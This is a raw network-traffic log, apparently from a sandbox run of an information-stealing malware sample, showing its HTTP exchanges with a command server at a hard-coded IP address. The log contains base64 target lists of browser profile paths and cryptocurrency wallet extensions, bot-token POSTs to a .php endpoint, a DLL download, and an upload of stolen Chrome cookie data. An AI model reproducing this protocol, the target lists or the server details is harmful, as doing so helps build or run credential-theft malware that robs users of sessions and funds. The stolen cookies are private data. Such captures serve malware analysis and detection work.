Oct 7, 2024 18:43:09.961934090 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 7, 2024 18:43:09.961963892 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 7, 2024 18:43:10.579479933 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIIIECBGDHJJKFIDAKJ Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="message"plugins------EGIIIECBGDHJJKFIDAKJ--
Oct 7, 2024 18:43:10.755935907 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 7, 2024 18:43:10.755958080 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 7, 2024 18:43:10.755974054 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 7, 2024 18:43:10.756026983 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 7, 2024 18:43:10.756042004 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Oct 7, 2024 18:43:10.756056070 CEST	224	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZw
Oct 7, 2024 18:43:10.756309032 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Oct 7, 2024 18:43:10.756323099 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Oct 7, 2024 18:43:10.763710022 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDH Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 2d 2d 0d 0a Data Ascii: ------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="message"fplugins------JKECGDBFCBKFIDHIDHDH--
Oct 7, 2024 18:43:10.936351061 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 7, 2024 18:43:10.974874973 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAEC Host: 46.8.231.109 Content-Length: 7691 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:10.975816965 CEST	7691	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 Data Ascii: ------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 7, 2024 18:43:11.280519009 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:43:11.281239033 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:43:11.452725887 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 7, 2024 18:43:11.452768087 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 7, 2024 18:43:12.621634960 CEST	950	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAE Host: 46.8.231.109 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------HDBKFHIJKJKECAAAECAE--
Oct 7, 2024 18:43:12.963438034 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:43:13.074409962 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKF Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="file"------IEBAAFCAFCBKFHJJJKKF--
Oct 7, 2024 18:43:13.357002020 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
